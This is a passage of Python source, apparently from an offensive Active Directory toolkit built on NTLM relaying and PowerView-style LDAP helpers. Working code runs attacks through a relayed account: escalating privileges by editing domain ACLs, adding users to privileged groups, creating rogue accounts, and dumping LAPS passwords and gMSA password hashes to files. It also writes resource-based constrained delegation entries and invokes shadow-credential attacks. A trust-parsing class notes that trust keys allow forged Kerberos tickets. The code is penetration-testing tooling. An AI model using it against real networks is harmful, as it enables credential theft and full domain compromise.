		#print self.client.entries
		global dumpedDomain
		global dumpedAdcs
		# Set up a default config
		domainDumpConfig = ldapdomaindump.domainDumpConfig()

		# Change the output directory to configured rootdir
		domainDumpConfig.basepath = self.config.lootdir

		# Create new dumper object
		domainDumper = ldapdomaindump.domainDumper(self.client.server, self.client, domainDumpConfig)

		if self.config.interactive:
			if self.tcp_shell is not None:
				LOG.info('Started interactive Ldap shell via TCP on 127.0.0.1:%d' % self.tcp_shell.port)
				# Start listening and launch interactive shell.
				self.tcp_shell.listen()
				ldap_shell = LdapShell(self.tcp_shell, domainDumper, self.client)
				ldap_shell.cmdloop()
				return

		# If specified validate the user's privileges. This might take a while on large domains but will
		# identify the proper containers for escalating via the different techniques.
		if self.config.validateprivs:
			LOG.info('Enumerating relayed user\'s privileges. This may take a while on large domains')
			userSid, privs = self.validatePrivileges(self.username, domainDumper)
			if privs['create']:
				LOG.info('User privileges found: Create user')
			if privs['escalateViaGroup']:
				name = privs['escalateGroup'].split(',')[0][3:]
				LOG.info('User privileges found: Adding user to a privileged group (%s)' % name)
			if privs['aclEscalate']:
				LOG.info('User privileges found: Modifying domain ACL')

		# If validation of privileges is not desired, we assumed that the user has permissions to escalate
		# an existing user via ACL attacks.
		else:
			LOG.info('Assuming relayed user has privileges to escalate a user via ACL attack')
			privs = dict()
			privs['create'] = False
			privs['aclEscalate'] = True
			privs['escalateViaGroup'] = False

		# We prefer ACL escalation since it is more quiet
		if self.config.aclattack and privs['aclEscalate']:
			LOG.debug('Performing ACL attack')
			if self.config.escalateuser:
				# We can escalate an existing user
				result = self.getUserInfo(domainDumper, self.config.escalateuser)
				# Unless that account does not exist of course
				if not result:
					LOG.error('Unable to escalate without a valid user.')
				else:
					userDn, userSid = result
					# Perform the ACL attack
					self.aclAttack(userDn, domainDumper)
			elif privs['create']:
				# Create a nice shiny new user for the escalation
				userDn = self.addUser(privs['createIn'], domainDumper)
				if not userDn:
					LOG.error('Unable to escalate without a valid user.')
				# Perform the ACL attack
				else:
					self.aclAttack(userDn, domainDumper)
			else:
				LOG.error('Cannot perform ACL escalation because we do not have create user '\
					'privileges. Specify a user to assign privileges to with --escalate-user')

		# If we can't ACL escalate, try adding us to a privileged group
		if self.config.addda and privs['escalateViaGroup']:
			LOG.debug('Performing Group attack')
			if self.config.escalateuser:
				# We can escalate an existing user
				result = self.getUserInfo(domainDumper, self.config.escalateuser)
				# Unless that account does not exist of course
				if not result:
					LOG.error('Unable to escalate without a valid user.')
				# Perform the Group attack
				else:
					userDn, userSid = result
					self.addUserToGroup(userDn, domainDumper, privs['escalateGroup'])

			elif privs['create']:
				# Create a nice shiny new user for the escalation
				userDn = self.addUser(privs['createIn'], domainDumper)
				if not userDn:
					LOG.error('Unable to escalate without a valid user, aborting.')
				# Perform the Group attack
				else:
					self.addUserToGroup(userDn, domainDumper, privs['escalateGroup'])

			else:
				LOG.error('Cannot perform ACL escalation because we do not have create user '\
						  'privileges. Specify a user to assign privileges to with --escalate-user')

		# Dump LAPS Passwords
		if self.config.dumplaps:
			LOG.info("Attempting to dump LAPS passwords")

			success = self.client.search(domainDumper.root, '(&(objectCategory=computer))', search_scope=ldap3.SUBTREE, attributes=['DistinguishedName','ms-MCS-AdmPwd'])

			if success:

				fd = None
				filename = "laps-dump-" + self.username + "-" + str(random.randint(0, 99999))
				count = 0

				for entry in self.client.response:
					try:
						dn = "DN:" + entry['attributes']['distinguishedname']
						passwd = "Password:" + entry['attributes']['ms-MCS-AdmPwd']

						if fd is None:
							fd = open(filename, "a+")

						count += 1

						LOG.debug(dn)
						LOG.debug(passwd)

						fd.write(dn)
						fd.write("\n")
						fd.write(passwd)
						fd.write("\n")

					except:
						continue

				if fd is None:
					LOG.info("The relayed user %s does not have permissions to read any LAPS passwords" % self.username)
				else:
					LOG.info("Successfully dumped %d LAPS passwords through relayed account %s" % (count, self.username))
					fd.close()

		#Dump gMSA Passwords
		if self.config.dumpgmsa:
			LOG.info("Attempting to dump gMSA passwords")

			if not self.client.tls_started and not self.client.server.ssl:
				LOG.info('Dumping gMSA password requires TLS but ldap:// scheme provided. Switching target to LDAPS via StartTLS')
				if not self.client.start_tls():
					LOG.error('StartTLS failed')
					return False

			success = self.client.search(domainDumper.root, '(&(ObjectClass=msDS-GroupManagedServiceAccount))', search_scope=ldap3.SUBTREE, attributes=['sAMAccountName','msDS-ManagedPassword'])
			if success:
				fd = None
				filename = "gmsa-dump-" + self.username + "-" + str(random.randint(0, 99999))
				count = 0
				for entry in self.client.response:
					try:
						sam = entry['attributes']['sAMAccountName']
						data = entry['attributes']['msDS-ManagedPassword']
						blob = MSDS_MANAGEDPASSWORD_BLOB()
						blob.fromString(data)
						hash = MD4.new ()
						hash.update (blob['CurrentPassword'][:-2])
						passwd = binascii.hexlify(hash.digest()).decode("utf-8")
						userpass = sam + ':::' + passwd
						LOG.info(userpass)
						count += 1
						if fd is None:
							fd = open(filename, "a+")
						fd.write(userpass)
						fd.write("\n")
					except:
						continue
				if fd is None:
					LOG.info("The relayed user %s does not have permissions to read any gMSA passwords" % self.username)
				else:
					LOG.info("Successfully dumped %d gMSA passwords through relayed account %s" % (count, self.username))
					fd.close()

		if not dumpedAdcs and self.config.dumpadcs:
			dumpedAdcs = True
			self.dumpADCS()
			LOG.info("Done dumping ADCS info")

		# Perform the Delegate attack if it is enabled and we relayed a computer account
		if self.config.delegateaccess and self.username[-1] == '$':
			self.delegateAttack(self.config.escalateuser, self.username, domainDumper, self.config.sid)
			return

		# Add a new computer if that is requested
		# privileges required are not yet enumerated, neither is ms-ds-MachineAccountQuota
		if self.config.addcomputer is not None:
			self.client.search(domainDumper.root, "(ObjectClass=domain)", attributes=['wellKnownObjects'])
			# Computer well-known GUID
			# https://social.technet.microsoft.com/Forums/windowsserver/en-US/d028952f-a25a-42e6-99c5-28beae2d3ac3/how-can-i-know-the-default-computer-container?forum=winservergen
			computerscontainer = [
				entry.decode('utf-8').split(":")[-1] for entry in self.client.entries[0]["wellKnownObjects"]
				if b"AA312825768811D1ADED00C04FD8D5CD" in entry
			][0]
			LOG.debug("Computer container is {}".format(computerscontainer))
			self.addComputer(computerscontainer, domainDumper)
			return

		# Perform the Shadow Credentials attack if it is enabled
		if self.config.IsShadowCredentialsAttack:
			self.shadowCredentialsAttack(domainDumper)
			return

		# Last attack, dump the domain if no special privileges are present
		if not dumpedDomain and self.config.dumpdomain:
			# Do this before the dump is complete because of the time this can take
			dumpedDomain = True
			LOG.info('Dumping domain info for first time')
			domainDumper.domainDump()
			LOG.info('Domain info dumped into lootdir!')

# Builds a standard ACE for a specified access mask (rights) and a specified SID (the principal who obtains the right)
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/72e7c7ea-bc02-4c74-a619-818a16bf6adb
#   - access_mask : the allowed access mask
#   - sid : the principal's SID
#   - ace_type : the ACE type (allowed or denied)
def create_ace(access_mask, sid, ace_type, aceflags=0x00):
	nace = ldaptypes.ACE()
	nace['AceType'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE
	nace['AceFlags'] = aceflags
	acedata = ldaptypes.ACCESS_ALLOWED_ACE()
	acedata['Mask'] = ldaptypes.ACCESS_MASK()
	acedata['Mask']['Mask'] = access_mask
	acedata['Sid'] = ldaptypes.LDAP_SID()
	acedata['Sid'].fromCanonical(sid)
	nace['Ace'] = acedata
	logging.debug('ACE created.')
	return nace

# Create an object ACE with the specified privguid and our sid
def create_object_ace(privguid, sid, aceflags=0x00):
	nace = ldaptypes.ACE()
	nace['AceType'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE
	nace['AceFlags'] = aceflags # inherit to child objects
	acedata = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE()
	acedata['Mask'] = ldaptypes.ACCESS_MASK()
	#acedata['Mask']['Mask'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS
	if privguid == EXTENDED_RIGHTS_NAME_MAP['Self-Membership']:
		acedata['Mask']['Mask'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_READ_PROP + ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP
	else:
		acedata['Mask']['Mask'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS
	#acedata['Mask']['Mask'] = 983551 # Full control
	acedata['ObjectType'] = string_to_bin(privguid)
	acedata['InheritedObjectType'] = b''
	acedata['Sid'] = ldaptypes.LDAP_SID()
	acedata['Sid'].fromCanonical(sid)
	assert sid == acedata['Sid'].formatCanonical()
	acedata['Flags'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT
	nace['Ace'] = acedata
	return nace

# Create an ALLOW ACE with the specified sid
def create_allow_ace(sid, aceflags=0x00):
	nace = ldaptypes.ACE()
	nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE
	nace['AceFlags'] = aceflags
	acedata = ldaptypes.ACCESS_ALLOWED_ACE()
	acedata['Mask'] = ldaptypes.ACCESS_MASK()
	acedata['Mask']['Mask'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS
	acedata['Sid'] = ldaptypes.LDAP_SID()
	acedata['Sid'].fromCanonical(sid)
	nace['Ace'] = acedata
	return nace

def create_empty_sd():
	sd = ldaptypes.SR_SECURITY_DESCRIPTOR()
	sd['Revision'] = b'\x01'
	sd['Sbz1'] = b'\x00'
	sd['Control'] = 32772
	sd['OwnerSid'] = ldaptypes.LDAP_SID()
	# BUILTIN\Administrators
	sd['OwnerSid'].fromCanonical('S-1-5-32-544')
	sd['GroupSid'] = b''
	sd['Sacl'] = b''
	acl = ldaptypes.ACL()
	acl['AclRevision'] = 4
	acl['Sbz1'] = 0
	acl['Sbz2'] = 0
	acl.aces = []
	sd['Dacl'] = acl
	return sd

# Check if an ACE allows for creation of users
def can_create_users(ace):
	createprivs = ace['Ace']['Mask'].hasPriv(ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CREATE_CHILD)
	if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE or ace['Ace']['ObjectType'] == b'':
		return False
	userprivs = bin_to_string(ace['Ace']['ObjectType']).lower() == 'bf967aba-0de6-11d0-a285-00aa003049e2'
	return createprivs and userprivs

# Check if an ACE allows for adding members
def can_add_member(ace):
	writeprivs = ace['Ace']['Mask'].hasPriv(ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP)
	if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE or ace['Ace']['ObjectType'] == b'':
		return writeprivs
	userprivs = bin_to_string(ace['Ace']['ObjectType']).lower() == 'bf9679c0-0de6-11d0-a285-00aa003049e2'
	return writeprivs and userprivs

class ADUser:
	def __init__(self, client, root_dn, parent=None):
		if parent:
			self.__parent = parent
		self.__client = client
		self.__root_dn = root_dn

	def removeUser(self, user_dn):
		if not user_dn:
			LOG.error('User distinguishedName is required')
			return

		if self.__client.delete(user_dn):
			LOG.info(f'Successfully removed {user_dn} from domain')
			return True
		else:
			return False

	def addUser(self, newUser=None, newPassword=None):
		"""
		Add a new user. Parent is preferably CN=Users,DC=Domain,DC=local, but can
		also be an OU or other container where we have write privileges
		"""
		if not self.__client.tls_started and not self.__client.server.ssl:
			LOG.info('Adding a user account to the domain requires TLS but ldap:// scheme provided. Switching target to LDAPS via StartTLS')
			if not self.__client.start_tls():
				LOG.error('StartTLS failed')
				return False

		# Random password
		if not newPassword:
			newPassword = ''.join(random.choice(string.ascii_letters + string.digits + '.,;:!$-_+/*(){}#@<>^') for _ in range(15))

		# Random username
		if not newUser:
			newUser = ''.join(random.choice(string.ascii_letters) for _ in range(10))

		newUserDn = 'CN=%s,%s' % (newUser, self.__parent)
		ucd = {
			'objectCategory': 'CN=Person,CN=Schema,CN=Configuration,%s' % self.__root_dn,
			'distinguishedName': newUserDn,
			'cn': newUser,
			'sn': newUser,
			'givenName': newUser,
			'displayName': newUser,
			'name': newUser,
			'userAccountControl': 512,
			'accountExpires': '0',
			'sAMAccountName': newUser,
			'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le'),
		}
		LOG.info('Attempting to create user in: %s', self.__parent)
		res = self.__client.add(newUserDn, ['top', 'person', 'organizationalPerson', 'user'], ucd)
		if not res:
			# Adding users requires LDAPS
			if self.__client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.__client.server.ssl:
				LOG.error('Failed to add a new user. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing user.')
			else:
				LOG.error('Failed to add a new user: %s' % str(self.__client.result['message']))
			return False
		else:
			LOG.info('Adding new user with username: %s and password: %s result: OK' % (newUser, newPassword))

			# Return the DN
			return newUserDn

class ACE_FLAGS(Enum):
	CONTAINER_INHERIT_ACE = ACE.CONTAINER_INHERIT_ACE
	FAILED_ACCESS_ACE_FLAG = ACE.FAILED_ACCESS_ACE_FLAG
	INHERIT_ONLY_ACE = ACE.INHERIT_ONLY_ACE
	INHERITED_ACE = ACE.INHERITED_ACE
	NO_PROPAGATE_INHERIT_ACE = ACE.NO_PROPAGATE_INHERIT_ACE
	OBJECT_INHERIT_ACE = ACE.OBJECT_INHERIT_ACE
	SUCCESSFUL_ACCESS_ACE_FLAG = ACE.SUCCESSFUL_ACCESS_ACE_FLAG

class OBJECT_ACE_FLAGS(Enum):
	ACE_OBJECT_TYPE_PRESENT = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT
	ACE_INHERITED_OBJECT_TYPE_PRESENT = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT

class ACCESS_MASK(Enum):
	# Generic Rights
	GenericRead = 0x80000000 # ADS_RIGHT_GENERIC_READ
	GenericWrite = 0x40000000 # ADS_RIGHT_GENERIC_WRITE
	GenericExecute = 0x20000000 # ADS_RIGHT_GENERIC_EXECUTE
	GenericAll = 0x10000000 # ADS_RIGHT_GENERIC_ALL

	# Maximum Allowed access type
	MaximumAllowed = 0x02000000

	# Access System Acl access type
	AccessSystemSecurity = 0x01000000 # ADS_RIGHT_ACCESS_SYSTEM_SECURITY

	# Standard access types
	Synchronize = 0x00100000 # ADS_RIGHT_SYNCHRONIZE
	WriteOwner = 0x00080000 # ADS_RIGHT_WRITE_OWNER
	WriteDACL = 0x00040000 # ADS_RIGHT_WRITE_DAC
	ReadControl = 0x00020000 # ADS_RIGHT_READ_CONTROL
	Delete = 0x00010000 # ADS_RIGHT_DELETE

	# Specific rights
	AllExtendedRights = 0x00000100 # ADS_RIGHT_DS_CONTROL_ACCESS
	ListObject = 0x00000080 # ADS_RIGHT_DS_LIST_OBJECT
	DeleteTree = 0x00000040 # ADS_RIGHT_DS_DELETE_TREE
	WriteProperties = 0x00000020 # ADS_RIGHT_DS_WRITE_PROP
	ReadProperties = 0x00000010 # ADS_RIGHT_DS_READ_PROP
	Self = 0x00000008 # ADS_RIGHT_DS_SELF
	ListChildObjects = 0x00000004 # ADS_RIGHT_ACTRL_DS_LIST
	DeleteChild = 0x00000002 # ADS_RIGHT_DS_DELETE_CHILD
	CreateChild = 0x00000001 # ADS_RIGHT_DS_CREATE_CHILD

class SIMPLE_PERMISSIONS(Enum):
	FullControl = 0xf01ff
	Modify = 0x0301bf
	ReadAndExecute = 0x0200a9
	ReadAndWrite = 0x02019f
	Read = 0x20094
	Write = 0x200bc

class ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum):
	ControlAccess = ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS
	CreateChild = ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CREATE_CHILD
	DeleteChild = ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_DELETE_CHILD
	ReadProperty = ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_READ_PROP
	WriteProperty = ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP
	Self = ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_SELF

class ACLEnum:
	def __init__(self, powerview, entries, root_dn, resolveguids=None, targetidentity=None, principalidentity=None, guids_map_dict=None):
		self.entries = entries
		self.powerview = powerview
		self.root_dn = root_dn
		self.objectdn = ''
		self.objectsid = ''

		self.__resolveguids = resolveguids
		self.__targetidentity = targetidentity
		self.__principalidentity = principalidentity
		
		# Combine the GUID maps
		self.__guids_map_dict = {}
		# Add guids_map_dict if provided
		if guids_map_dict:
			self.__guids_map_dict.update(guids_map_dict)
		
		# Add EXTENDED_RIGHTS_MAP (key: guid, value: name)
		self.__guids_map_dict.update(EXTENDED_RIGHTS_MAP)
		self.__guids_map_dict.update(SCHEMA_OBJECTS)
		
		# Add reverse mapping from EXTENDED_RIGHTS_NAME_MAP (key: guid, value: name)
		# This is already the reverse of EXTENDED_RIGHTS_MAP, so we don't need to add it
		
		# Create reverse mapping for lookups by name
		self.__rights_name_map = {v: k for k, v in self.__guids_map_dict.items()}


	def read_dacl(self):
		parsed_dacl = []
		LOG.debug("[ACLEnum] Parsing DACL")
		for entry in self.entries:
			dacl_dict = {}
			
			secDescData = entry.get('attributes', {}).get('nTSecurityDescriptor')
			if not secDescData:
				LOG.debug(f'[ACLEnum] ntSecurityDescriptor attribute not found for {entry.get("dn")}')
				continue
			
			if isinstance(secDescData, list):
				secDescData = secDescData[0]
			
			objectsid = entry.get('attributes', {}).get('objectSid') or None
			if isinstance(objectsid, list) and len(objectsid) > 0:
				objectsid = objectsid[0]
			
			try:
				secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)
				self.objectdn = entry.get('dn')
				self.objectsid = objectsid
				dacl = self.parseDACL(secDesc['Dacl'])
				if dacl:
					dacl_dict['attributes'] = dacl
					parsed_dacl.append(dacl_dict)
			except Exception as e:
				LOG.debug(f'[ACLEnum] Error parsing security descriptor for {entry.get("dn")}: {str(e)}')
				continue
			
		return parsed_dacl

	def parseDACL(self, dacl):
		parsed_dacl = []
		for ace in dacl['Data']:
			parsed_ace = self.parseACE(ace)
			if parsed_ace:
				parsed_dacl.append(parsed_ace)
		return parsed_dacl

	def parseACE(self, ace):
		sid = ace["Ace"]["Sid"].formatCanonical()
		if self.__principalidentity:
			if isinstance(self.__principalidentity, dict):
				if sid not in self.__principalidentity:
					return
			else:
				if self.__principalidentity != sid:
					return
		
		if ace['TypeName'] in ["ACCESS_ALLOWED_ACE", "ACCESS_ALLOWED_OBJECT_ACE", "ACCESS_DENIED_ACE", "ACCESS_DENIED_OBJECT_ACE"]:
			parsed_ace = {}
			parsed_ace['ObjectDN'] = self.objectdn
			parsed_ace['ObjectSID'] = format_sid(self.objectsid)
			parsed_ace['ACEType'] = ace['TypeName']
			
			_ace_flags = [FLAG.name for FLAG in ACE_FLAGS if ace.hasFlag(FLAG.value)]
			parsed_ace['ACEFlags'] = ", ".join(_ace_flags) or "None"
			
			if ace['TypeName'] in ["ACCESS_ALLOWED_ACE", "ACCESS_DENIED_ACE"]:
				parsed_ace['ActiveDirectoryRights'] = ",".join(self.parsePerms(ace["Ace"]["Mask"]["Mask"]))
				parsed_ace['AccessMask'] = ",".join(self.parsePerms(ace['Ace']['Mask']['Mask']))
				parsed_ace['InheritanceType'] = "None"
				if isinstance(self.__principalidentity, dict) and sid in self.__principalidentity:
					parsed_ace['SecurityIdentifier'] = self.__principalidentity[sid]
				else:
					parsed_ace['SecurityIdentifier'] = self.powerview.convertfrom_sid(sid)
			
			elif ace['TypeName'] in ["ACCESS_ALLOWED_OBJECT_ACE", "ACCESS_DENIED_OBJECT_ACE"]:
				_access_mask_flags = [FLAG.name for FLAG in ALLOWED_OBJECT_ACE_MASK_FLAGS if ace['Ace']['Mask'].hasPriv(FLAG.value)]
				parsed_ace['AccessMask'] = ", ".join(_access_mask_flags)
				
				_object_flags = [FLAG.name for FLAG in OBJECT_ACE_FLAGS if ace['Ace'].hasFlag(FLAG.value)]
				parsed_ace['ObjectAceFlags'] = ", ".join(_object_flags) or None
				
				if ace['Ace']['ObjectTypeLen'] != 0:
					obj_type = bin_to_string(ace['Ace']['ObjectType']).lower()
					parsed_ace['ObjectAceType'] = self.__guids_map_dict.get(obj_type, "UNKNOWN (%s)" % obj_type)
				
				if ace['Ace']['InheritedObjectTypeLen'] != 0:
					inh_obj_type = bin_to_string(ace['Ace']['InheritedObjectType']).lower()
					parsed_ace['InheritanceType'] = self.__guids_map_dict.get(inh_obj_type, "UNKNOWN (%s)" % inh_obj_type)
				else:
					parsed_ace['InheritanceType'] = None
				
				if isinstance(self.__principalidentity, dict) and sid in self.__principalidentity:
					parsed_ace['SecurityIdentifier'] = self.__principalidentity[sid]
				else:
					parsed_ace['SecurityIdentifier'] = self.powerview.convertfrom_sid(sid)
		else:
			LOG.debug("ACE Type (%s) unsupported for parsing yet, feel free to contribute" % ace['TypeName'])
			parsed_ace = {'ACEType': ace['TypeName'], 'ACEFlags': ", ".join(_ace_flags) or "None", 'DEBUG': "ACE type not supported for parsing by dacleditor.py, feel free to contribute"}
		
		return parsed_ace

	def parsePerms(self, fsr):
		_perms = []
		for PERM in SIMPLE_PERMISSIONS:
			if (fsr & PERM.value) == PERM.value:
				_perms.append(PERM.name)
				fsr = fsr & (not PERM.value)
		for PERM in ACCESS_MASK:
			if fsr & PERM.value:
				_perms.append(PERM.name)
		return _perms

class ObjectOwner:
	def __init__(self, entry):
		try:
			self.__target_samaccountname = entry["attributes"]["sAMAccountName"][0] if isinstance(entry["attributes"]["sAMAccountName"],list) else entry["attributes"]["sAMAccountName"]
		except IndexError as e:
			pass
		try:
			self.__target_sid = entry["attributes"]["objectSid"][0] if isinstance(entry["attributes"]["objectSid"], list) else entry["attributes"]["objectSid"]
		except IndexError as e:
			pass
		try:
			self.__target_dn = entry["attributes"]["distinguishedName"][0] if isinstance(entry["attributes"]["distinguishedName"], list) else entry["attributes"]["distinguishedName"]
		except IndexError as e:
			pass
		try:
			self.__target_secdesc = entry["attributes"]["nTSecurityDescriptor"][0] if isinstance(entry["attributes"]["nTSecurityDescriptor"], list) else entry["attributes"]["nTSecurityDescriptor"]
		except IndexError as e:
			pass
		self.__target_securitydescriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.__target_secdesc)

		self.new_owner_samaccountname = None
		self.new_owner_sid = None
		self.new_owner_dn = None

	def modify_securitydescriptor(self, entry):
		try:
			self.new_owner_samaccountname = entry["attributes"]["sAMAccountName"][0] if isinstance(entry["attributes"]["sAMAccountName"], list) else entry["attributes"]["sAMAccountName"]
		except IndexError as e:
			pass
		try:
			self.new_owner_sid = entry["attributes"]["objectSid"][0] if isinstance(entry["attributes"]["objectSid"], list) else entry["attributes"]["objectSid"]
		except IndexError as e:
			pass
		try:
			self.new_owner_dn = entry["attributes"]["distinguishedName"] if isinstance(entry["attributes"]["distinguishedName"], list) else entry["attributes"]["distinguishedName"]
		except IndexError as e:
			pass

		new_owner_sid = ldaptypes.LDAP_SID()
		new_owner_sid.fromCanonical(self.new_owner_sid)

		logging.debug("Modifying %s OwnerSid to %s" % (self.__target_dn, self.new_owner_sid))

		self.__target_securitydescriptor['OwnerSid'] = new_owner_sid
		return self.__target_securitydescriptor

	def read(self):
		ownersid = None
		ownersid = format_sid(self.__target_securitydescriptor['OwnerSid']).formatCanonical()
		return ownersid

class RBCD:
	def __init__(self, entry, ldap_session=None):
		try:
			self.__target_samaccountname = entry["attributes"]["sAMAccountName"][0] if isinstance(entry["attributes"]["sAMAccountName"], list) else entry["attributes"]["sAMAccountName"]
		except IndexError as e:
			self.__target_samaccountname = None
			pass
		try:
			self.__target_sid = entry["attributes"]["objectSid"][0] if isinstance(entry["attributes"]["objectSid"], list) else entry["attributes"]["objectSid"]
		except IndexError as e:
			self.__target_sid = None
			pass
		try:
			self.__target_dn = entry["attributes"]["distinguishedName"][0] if isinstance(entry["attributes"]["distinguishedName"], list) else entry["attributes"]["distinguishedName"]
		except IndexError as e:
			self.__target_dn = None
			pass
		try:
			self.__target_msds_allowedtoactonbehalfofotheridentity = entry["attributes"]["msDS-AllowedToActOnBehalfOfOtherIdentity"][0] if isinstance(entry["attributes"]["msDS-AllowedToActOnBehalfOfOtherIdentity"], list) else entry["attributes"]["msDS-AllowedToActOnBehalfOfOtherIdentity"]
		except IndexError as e:
			self.__target_msds_allowedtoactonbehalfofotheridentity = None
			pass
		try:
			self.__target_securitydescriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.__target_msds_allowedtoactonbehalfofotheridentity)
		except:
			self.__target_securitydescriptor = None
			pass


		self.ldap_session = ldap_session

	def read(self):
		if self.__target_securitydescriptor is None:
			logging.error("[RBCD] msDS-AllowedToActOnBehalfOfOtherIdentity not found in object")
			return

		user_can_delegate = []
		sd = self.__target_securitydescriptor
		if len(sd['Dacl'].aces) > 0:
			for ace in sd['Dacl'].aces:
				user_can_delegate.append(ace['Ace']['Sid'].formatCanonical())

		return user_can_delegate

	def write_to(self, objectsid):
		logging.debug("[RBCD] Creating SDDL manually")
		sd = create_empty_sd()
		sd['Dacl'].aces.append(create_allow_ace(objectsid))
		logging.debug(f"[RBCD] Appended {objectsid} to SDDL")
		self.ldap_session.modify(
			self.__target_dn,
			{
				'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]
			}
		)
		if self.ldap_session.result['result'] == 0:
			return True
		else:
			if self.ldap_session.result['result'] == 50:
				logging.error('Could not modify object, the server reports insufficient rights: %s', self.ldap_session.result['message'])
			elif self.ldap_session.result['result'] == 19:
				logging.error('Could not modify object, the server reports a constrained violation: %s', self.ldap_session.result['message'])
			else:
				logging.error('The server returned an error: %s', self.ldap_session.result['message'])
			return False

class Trust:
	"""
	Class for processing domain trust LDAP objects, including all trust attributes:
	- Basic properties (name, trustPartner, flatName, etc.)
	- Security identifier
	- Security descriptor (nTSecurityDescriptor)
	- Trust authentication keys (trustAuthIncoming, trustAuthOutgoing)
	
	This class handles the parsing of all trust-related attributes and provides
	structured access to the trust information.
	
	Usage:
	```
	# Process a trust entry from LDAP
	trust_entry = ldap_entries[0]  # From get_domaintrust()
	trust = Trust(trust_entry)
	
	# Access processed trust information
	print(f"Trust Name: {trust.name}")
	print(f"Trust Partner: {trust.trust_partner}")
	print(f"Trust Direction: {trust.trust_direction}")
	
	# Access trust keys
	if trust.has_incoming_keys():
		print("Incoming Keys:")
		for key in trust.incoming_keys:
			print(f"  {key['KeyType']}: {key['Key']}")
	
	# Get a structured dictionary representation
	trust_dict = trust.to_dict()
	```
	
	Security note:
	These trust attributes, especially trust keys, are highly sensitive and can be used 
	for various attacks including:
	- Creating forged Kerberos tickets for lateral movement across trust boundaries
	- Impersonating users from the trusted domain
	
	Extraction and use of these attributes requires high privileges (usually Domain Admin).
	"""
	# Trust key types
	TRUST_AUTH_TYPE_CLEAR = 0x1      # Plaintext (not used)
	TRUST_AUTH_TYPE_NT4OWF = 0x2     # NT4 OWF (not used)
	TRUST_AUTH_TYPE_CLEAR_PW = 0x3   # UTF-16 plaintext password
	TRUST_AUTH_TYPE_CLEAR_NT_ONLY = 0x4  # RC4-HMAC key only (used for NT-compatible domains)
	TRUST_AUTH_TYPE_CLEAR_BOTH = 0x5 # RC4-HMAC and UTF-16 plaintext password
	TRUST_AUTH_TYPE_VERSION = 0x6    # VERSION (contains AES keys)
	
	# Trust direction
	TRUST_DIRECTION_DISABLED = 0
	TRUST_DIRECTION_INBOUND = 1
	TRUST_DIRECTION_OUTBOUND = 2
	TRUST_DIRECTION_BIDIRECTIONAL = 3
	
	# Trust type
	TRUST_TYPE_DOWNLEVEL = 1     # Windows NT 4.0 or earlier
	TRUST_TYPE_UPLEVEL = 2       # Windows 2000 or later
	TRUST_TYPE_MIT = 3           # MIT Kerberos realm
	TRUST_TYPE_DCE = 4           # DCE realm
	
	# Trust attributes
	TRUST_ATTRIBUTE_NON_TRANSITIVE = 0x00000001
	TRUST_ATTRIBUTE_UPLEVEL_ONLY = 0x00000002
	TRUST_ATTRIBUTE_QUARANTINED_DOMAIN = 0x00000004
	TRUST_ATTRIBUTE_FOREST_TRANSITIVE = 0x00000008
	TRUST_ATTRIBUTE_CROSS_ORGANIZATION = 0x00000010
	TRUST_ATTRIBUTE_WITHIN_FOREST = 0x00000020
	TRUST_ATTRIBUTE_TREAT_AS_EXTERNAL = 0x00000040
	TRUST_ATTRIBUTE_USES_RC4_ENCRYPTION = 0x00000080
	
	def __init__(self, entry=None):
		"""
		Initialize a Trust object from an LDAP entry.
		
		Args:
			entry: An LDAP entry dictionary from get_domaintrust()
		"""
		# Basic attributes
		self.dn = None
		self.name = None
		self.trust_partner = None
		self.flat_name = None
		self.trust_direction = None
		self.trust_type = None
		self.trust_attributes = None
		self.when_created = None
		self.when_changed = None
		
		# Security
		self.security_identifier = None
		self.owner_sid = None
		
		# Trust keys
		self.incoming_keys_raw = None
		self.outgoing_keys_raw = None
		self.incoming_keys = []
		self.outgoing_keys = []
		
		# Process the entry if provided
		if entry:
			self.process_entry(entry)
	
	def process_entry(self, entry):
		"""
		Process an LDAP entry and extract all trust attributes.
		
		Args:
			entry: An LDAP entry dictionary from get_domaintrust()
		"""
		if not entry:
			return
			
		if 'dn' in entry:
			self.dn = entry['dn']
		
		# Extract basic attributes
		attrs = entry.get('attributes', {})
		self.name = attrs.get('name', None)
		self.trust_partner = attrs.get('trustPartner', None)
